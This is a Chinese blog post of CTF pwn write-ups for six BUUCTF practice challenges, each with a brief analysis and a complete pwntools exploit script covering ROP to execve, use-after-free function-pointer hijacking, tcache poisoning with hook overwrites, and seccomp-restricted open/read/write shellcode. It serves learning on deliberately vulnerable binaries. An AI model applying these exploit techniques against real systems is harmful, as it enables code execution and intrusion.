BUUCTF暑假刷题(1)

cmcc_simplerop

分析

静态链接。32位程序。用int 80h 这个中断调用,呼叫系统调用程序system_call().。

然后rop 控制EAX = 0Xb = 11,EBX = &(“/bin/sh”), ECX = EDX = 0,即执行了sys_execve("/bin/sh", 0, 0, 0),即可拿到shell。

32位系统调用表:https://blog.csdn.net/xiaominthere/article/details/17287965

exp

from pwn import *
import time
local_file  = './simplerop'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29124)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

offset = 32
start = 0x8048E45
read = 0x806CD50
pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
pop3_ret = 0x08048913
bss = 0x80EC2EC - 0x10
ret = 0x8048E6F
in_t_0x80 = 0x080493e1
payload = 'a' * offset + flat([read,pop3_ret,0,bss,0x8])
payload += flat([pop_eax_ret,11,pop_ecx_ebx_ret,0,bss,pop_edx_ret,0,in_t_0x80])
sa(':',payload)
s('/bin/sh\x00')
itr()

其中rop链read后返回地址:pop3_ret,是为了pop 0,bss,0x8,然后再跟着rop。

ciscn_2019_n_3

分析

Ubuntu 18 ,存在UAF漏洞。

int __cdecl rec_str_free(void *ptr)
{
  free(*((void **)ptr + 2));
  free(ptr);
  return puts("Note freed!");
}

每创建一个堆,就有一个0x10的堆空间,存放函数指针。一看到这个,就可以说是暗示攻击这个地方来劫持程序流程。

int do_del()
{
  int v0; // eax

  v0 = ask((int)"Index");
  return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]);
}

利用这个函数来劫持程序流程。
new(0,2,0x40,payload)看一下程序的内存情况, 对于其中的(*(int (__cdecl **)(int))(records[v0] + 4))(records[v0])

gef➤  p &records
$1 = (<data variable, no debug info> *) 0x804b080 <records>
gef➤  x/wx 0x804b080
0x804b080 <records>:    0x08635160
gef➤  x/wx 0x08635160
0x8635160:      0x080486de

所以 records[v0] = 0x08635160

gef➤  x/wx 0x08635160+4
0x8635164:      0x08048725
gef➤  x/i 0x08048725
   0x8048725 <rec_str_free>:    push   ebp

所以 *(int (__cdecl **)(int))(records[v0] + 4)) = 0x8048725 <rec_str_free>:



如图,把这里的函数指针控制成sh\x00\00 + &system ,即执行do_del时,运行的就是system(sh)可拿到shell。

exp

from pwn import *
import time
local_file  = './ciscn_2019_n_3'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',26453)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def new(id,type,len,context):
    sla("CNote >",'1')
    sla("dex >",str(id))
    sla("Type >",str(type))
    sla("th >",str(len))
    sa("ue >",str(context))

def free(id):
    sla("CNote >",'2')
    sla("dex >",str(id))

def show(id):
    sla("CNote >",'3')
    sla("dex >",str(id))

payload = "a" + '\n'
new(0,2,0x40,payload)
new(1,2,0x40,payload)
free(1)
free(0)
system = elf.plt['system']
new(2,2,0x9,'sh\x00\x00'+ p32(system))
free(1)
itr()

无system函数情况下

Leak libc,还是攻击那一个函数指针,本地通远程没通。

在测试的时候,由于fgets总是在你传入的字符串后加上\x00,曾经就遇到
过,导致泄漏十分难进行,但是发现:

payload = ''
new(2,2,0x0,payload)
ru("lue=")
libc_base = uu32(r(4)) - 0x1d89d8

传入空字节竟然可以通过,且没有加上\x00,从而不影响泄漏libc。还不知道是否以后遇到fgets函数就可以这样处理其影响,先挖个坑,记录着。

payload = 'a' + '\n'
new(0,2,0x400,payload)
new(1,2,0x400,payload)
free(0)
payload = ''
new(2,2,0x0,payload)
ru("lue=")
libc_base = uu32(r(4)) - 0x1d89d8
info_addr("libc_base",libc_base)
payload = '\x00'*4 + '/bin/sh\x00' +'\n'
new(3,2,0x400-0x10-0x10,payload)
new(4,2,0x40,payload)
new(5,2,0x40,payload)
free(5)
free(4)
rec = libc_base + 0x3d123
new(6,2,0x9,p32(rec) + p32(rec))
# free(5)
show(5)
# debug()
itr()

V&N2020easyTHeap

分析

Ubuntu 18 ,存在UAF漏洞,tcache dup攻击。

考点:

  • 攻击tcache_perthread_struct,伪造tcache已经满了
  • 攻击tcache_entry,在指定的位置写上目标地址,在申请一个对应大小的堆,即可实现任意地址写入。

    exp

from pwn import *
import time
local_file  = './vn_pwn_easyTHeap'
local_libc  = '/lib/x86_64-linux-gnu/libc-2.27.so'
remote_libc = './libc-2.27.so'
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',25814)
    libc = ELF(remote_libc)
elf = ELF(local_file)
# libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size):
    sla("choice",'1')
    sla("?",str(size))
def edit(idx,context):
    sla("choice",'2')
    sla('idx',str(idx))
    sa('content',str(context))
def show(idx):
    sla('choice','3')
    sla('idx',str(idx))
def free(idx):
    sla('choice','4')
    sla("idx",str(idx))

add(0x100) #0
add(0x100) #1
free(0)
free(0)
show(0)
r()
heapbase = uu64(r(6)) - 0x260
info_addr('heapbase',heapbase)
add(0x100) #2
edit(2,p64(heapbase+0x10))
add(0x100) #3
add(0x100) #4
edit(4,'\x07'*0x10)
free(0)
show(0)
r()
libc_base = uu64(r(6)) - 0x3ebca0
info_addr('libc_base',libc_base)
__malloc_hook = libc_base + 0x3ebc30
__realloc_hook = __malloc_hook -0x8
payload = '\x00' * (8+7) + '\x01' + '\x00' * (0x80 - 8 - 8) + '\x00' * 0x38 + p64(__realloc_hook)
edit(4,payload)
add(0x100) #5
onerec = 0x10a38c + libc_base
realloc_addr = libc_base + libc.symbols['__libc_realloc']
info_addr('relloc',realloc_addr)
info_addr('__malloc_hook',__malloc_hook)
payload = p64(onerec) + p64(realloc_addr+8)
edit(5,payload)
add(0x100)
#debug()
itr()

ciscn_2019_final_3

分析

Ubuntu 18,保护全开,存在uaf漏洞。

程序只有增加和删除的功能,但是增加一个堆块后回给你返回申请堆块的地址信息。

 printf("gift :%p\n", heaplist[HIDWORD(size)]);

删除堆后,没有置0的操作,存在uaf。

考点:

  • 攻击tcache_perthread_struct,伪造tcache已经满了
  • 攻击tcache_entry,在指定的位置写上目标地址,在申请一个对应大小的堆,即可实现任意地址写入。

难点:

  • 泄漏libc地址
  • 精巧的构造一个任意地址写(在tcache struct处折腾)

exp

from pwn import *
import time
local_file  = './ciscn_final_3'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',27714)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = []
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,size,content):
    sla(">",'1')
    sla('index',str(idx))
    sla('size',str(size))
    sa('thing',str(content))
    ru("0x")
    gift = int(r(12),16)
    info_addr('gift',gift)
    return gift
def free(idx):
    sla(">",'2')
    sla("index",str(idx))

heap_base = add(0,0x48,'a') - 0x11e70
free(0)
free(0)
add(1,0x48,p64(heap_base+0x10))
add(2,0x48,p64(heap_base+0x10))
payload = 0x30 * '\x07'
add(3,0x48,payload)
free(3)
payload = 0x30 * '\x00'
add(4,0x48,payload)
add(5,0x10,' ')
libc_base = add(6,0x78,' ') - 0x3ebca0
info_addr('libc_base',libc_base)
free_hook = libc_base + 0x3ed8e8
free(5)
add(7,0x10,p64(free_hook)*2)
one_rec = 0x4f322 + libc_base
add(8,0x48,p64(one_rec))
# debug()
free(4)
itr()

调试一下就懂了。其中0x10那个堆块的申请很重要,正好可以供后面的使用。

picoctf_2018_rop chain

分析

只是一个简单的rop,考的就是32位下如何控制传参数。

exp

from pwn import *
import time
local_file  = './PicoCTF_2018_rop_chain'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29550)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww'] #,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = []
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
win_function1 = 0x080485CB
win_function2 = 0x80485D8
flag = 0x0804862B
offset = 0x18 + 4
ru('Enter your input>')
payload = 'a' * offset + flat([win_function1,win_function2,flag,0xBAAAAAAD,0xDEADBAAD])
# debug()
s(payload + '\n')
itr()

pwnable_orw

分析

考点 :

  • 简单shellcode 的编写
  • seccomp(挖坑)

https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/

先用seccomp-tools看下禁用了什么函数:

➜  pwnable_orw seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

明显只能执行 open read wirte 函数。

#这里可以用pwntools库的一个函数代替,shellcraft
c语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag"))
c语言:read(3,buf,0x20)<==> 汇编:asm(shellcraft.read(3,"esp",0x20)
c语言:write(1,buf,0x20)<==>汇编:asm(shellcraft.write(1,"esp",0x20))

其中 就是以esp当做临时变量 buf的地址,其可以自定义。

其中open函数执行后,由于是打开了一个新的文件,其返回的fd就是3,所以后面跟着的read的文件描述符也为3。

exp

from pwn import *
import time
local_file  = './orw'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',26224)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = []
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

bss = 0x804A128 - 0x30
payload= asm(shellcraft.open("./flag"))
payload += asm(shellcraft.read(3,bss,0x30))
payload += asm(shellcraft.write(1,bss,0x30))

sl(payload)

itr()


pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!